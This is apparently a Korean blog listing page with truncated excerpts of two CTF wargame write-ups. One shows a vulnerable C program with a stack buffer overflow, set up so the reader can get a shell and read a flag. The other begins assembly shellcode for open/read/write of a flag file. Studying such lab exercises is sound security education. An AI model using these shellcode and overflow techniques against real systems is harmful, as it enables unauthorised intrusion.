wargame 3

[System Hacking] basic_exploitation_000

Description 프로그램의 취약점을 통해 셸을 획득한 후, "flag" 파일을 읽어야 한다. 공격 대상의 코드 #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main(int argc, char *argv[]) { char buf[0x80]; // 128바이트 initialize(); printf("buf = (%p)\n", buf); scanf("%..

IT/Wargame 2024.03.02

[System Hacking] shell_basic: orw를 통해 flag 파일 얻기

1. mycode 어셈블리 작성하기 이 문제에서 orw를 하기 위해서는 아래와 같은 syscall이 필요하다. 1. open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL) 2. read(fd, buf, 0x30) 3. write(1, buf, 0x30) 따라서 위를 수행하는 어셈블리를 아래와 같이 작성했다. "/home/shell_basic/flag_name_is_loooooong"의 hex를 stack에 push하기 xor rax, rax push rax mov rax, 0x676e6f6f6f6f6f6f push rax mov rax, 0x6c5f73695f656d61 push rax mov rax, 0x6e5f67616c662f63 push ..

IT/Wargame 2024.02.29